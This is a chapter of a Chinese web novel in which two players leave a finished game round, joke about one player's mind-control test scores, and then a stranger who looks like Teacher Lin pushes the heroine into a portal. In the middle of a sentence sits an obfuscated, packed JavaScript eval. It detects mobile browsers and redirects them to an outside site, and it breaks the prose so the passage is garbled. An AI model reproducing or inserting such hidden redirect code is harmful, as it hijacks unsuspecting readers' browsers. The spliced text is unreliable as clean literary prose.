其实祁晚还有问题想问,比如格斯塔最后为啥非要捅人家一刀;还有兰迪明明能看见别墅,为什么从来没有试图突破格斯塔的限制……还有,如果真的有那么多误会,怎么想也不该这么快和解。和解这么快,简直好像在走游戏流程一样。 虽然本来就是游戏吧,但前面那么真实,最后这样……总感觉有点仓促。 但祁晚只是作为玩家来到这里,如今游戏已经结束,她没有理由再去询问这些,也没必要。 就像柳州与说的,下一场吧。 在游戏播报开始的一瞬间,她们好像就消失在了这个世界里。格斯塔起身后四处查看,却发现帮了自己的人已经消失了,还问兰迪,“你看见那两个人了吗?她们不见了。” 兰迪肿着眼睛摇头,“没看见。连你都没看见,我更发现不了了。” 格斯塔有些无奈地叹了口气,表情似笑非笑的,“本来应该真的谢谢她们,现在……算了。” 就当一场短暂的缘分吧。 …… 祁柳两人已经来到了院子里,那里矗立着两扇传送门。 祁晚并不急着走,反正现在游戏没强制她离开,也不是赶着投胎,精神紧绷了这么久,聊会天多好。 她叫住柳州与,“你回来得还挺快的,怎么控制住兰迪的?” 她在大茧里度日如年,现在倒是一点都不觉得了。好了伤疤忘了疼。 柳州与是真有点着急,一只脚已经踩进传送门了,“嗯?” “没控制啊,她当时挺……嗯……”柳州与斟酌了一下用词,“反正就是挺平静的吧,秋原去找过她了,不知道说了点啥,我去的时候就挺顺利的……也是秋原的功劳,就是不知道她去哪里了。” “你这么着急吗?”祁晚把柳州与从传送门里扯出来,“我还想起来一件事。” 柳州与瞪大眼睛,“什么?” “你的学习进度啊。”祁晚理所当然地摊手,“我总得了解了解我的队友吧,你说D级学完有俩测验,你控制力评分96,另一个呢?” 柳州与的表情僵住,“你记这么清楚干什么?” 祁晚微笑。 真的很难记不住……她毕竟是连E级都学不完的选手,很难不好奇更高等级的教材是什么样啊! 柳州与转身就要走,“不重要,抓紧下一场吧!” 祁晚再拉住她,柳州与越不说她越好奇啊,“咋了?为啥不说?又不是机密。” 柳州与:“你就非要问吗?” 祁晚不语,只是不松手。 两人一个死活要走,一个死活不让走,就此僵持住了。 花园里起了风,草叶花叶哗哗作响,有水汽被风带到她们身上。 柳州与突然回头,眼睛里亮起了一点绿色的光,直视着祁晚的眼睛,命令道:“松手!站那别动!” 祁晚一个恍惚,真的松手了。 柳州与先是愣了一下,她没想到自己真的能成功。 随后她露出一个得意的笑,“当我96分白考的呢,早知道就早点控你……啊哈!” 要是这样,她以后也可以这么对付别人啊!比如控制几个NPC去给她端茶送饭打洗脚水甚至帮忙做任务什么的……爽爆了啊! “精神力总量不及格怎么了。”她看见自己头一次控人成功,也不着急走了,绕着祁晚转了两圈,“我还以为总量33分怎么了,原来不及格也没影响嘛!” 祁晚听她说完,动了。 柳州与:“……” 祁晚眨了眨眼,“整半天就这……不及格……多正常的事。我经常不及格啊,这有啥不能说的。” 柳州与:“……” 谁都行,现在立刻马上过来杀了她。 祁晚这辈子几乎没及过格,偶尔低空飘过都值得她妈开一瓶香槟庆祝。因此她完全不懂学霸的想法,自顾自道:“你的控制力好像比格斯塔强,刚才我真的有一会失去意识了,比被格斯塔控的时间长……真挺厉害的啊。” 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448731|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州与:“……” 被这么夸真的没有一点成就感——对她的要求就只有这么一点吗?她自己都要看不起自己了啊。 她不想回答,现在也没人能来弄死她。于是她只能转身就走,带着自己的社会性死亡。 早知道不组这个破队! 这次祁晚没拦她,嘿嘿笑着看她离开,然后自己也准备迈入传送门。 说起来有点奇怪啊……格斯塔控不住她,更厉害一点的柳州与也控不住她,那她进入别墅前那次的短暂失去意识是为什么? 真是好莫名其妙。 算了,不想了,走吧。 进门前,她朝身后看了一眼。 她看见了什么,暂时驻足。 格斯塔与门罗来到了花园里,没有聊天。可能是累了,格斯塔坐在紫藤花架下,沐浴着晨光闭目养神,应该睡着了;兰迪不知道从哪摘来了一朵娇艳欲滴的月季,正在往格斯塔脑袋上插。 格斯塔没动,蓦然睁开眼,“我一定要这样吗?我还是比较喜欢……” 兰迪捂住她的嘴,“闭嘴,现在挺好的——你四十岁那张脸跟死了爹妈一样,还老得很,我不喜欢。你到底为什么总想着把自己变成那样?” 格斯塔:“我觉得那样比较可靠。”那毕竟是她彻底掌权的年纪,她比较有安全感。 兰迪:“没必要。我喜欢你这样。” 没必要。 生前的一切都已成过眼云烟,没有人会再来质疑,也不再有压力,活成最轻松的样子就好。 她恨不得格斯塔能变回宝宝,那样她就可以把格斯塔抱在怀里……她就再也跑不掉! 格斯塔闭上眼继续养神,微不可查地叹气,“行吧……” 祁晚听完最后这段对话,收回目光,这下是真的准备离开。 她收回的目光扫过整个花园,即将迈出的脚步又停下了。 喷泉边站着一个人。 一个女人。 那人身姿挺拔,气质温和,一头长发披散下来。穿着一身浅蓝色的夏季长裙,脚踩一双便于行走的软底鞋。 ——是林老师。 可是,她为什么会出现在这? 祁晚惊愕得无以复加,什么下一场游戏都抛之脑后了,她朝那个方向冲过去,熟悉的称呼脱口而出。 “林老师!” “林洋”听见她的声音,回头冷冷看了她一眼。 祁晚被这一眼镇住,骤然停下脚步。 不对,这个眼神不对。林老师不会露出这样的神态,她们朝夕相处三年,她能认出来的,这不是真的林洋老师。 那……她是谁? 祁晚想起来,她在等待游戏第二部分也见到了林老师,但很快就消失了……难道当时见到的也是这个人吗? 然而对方不容她思考,只是淡淡抬起了手。 传送门的位置被篡改,出现在了她脚下。 祁晚根本来不及反应,突如袭来的失重感吓了她一跳,“哇啊——你——” 她“你是谁?”的问题终究没能问出口。眼前骤然暗下来,她跌落在一片熟悉的黑暗里。 眼睛适应了黑暗后,她看到一颗绿色圆球远远地飞过来,发出冷漠的播报声。 【开启计数模式】 【玩家祁晚,已积攒两次胜利次数,可随时兑换】 随后它缓慢地飘动起来,朝着某个方向去。 【开启引路模式】 【请玩家跟随游戏点,去往下一场游戏】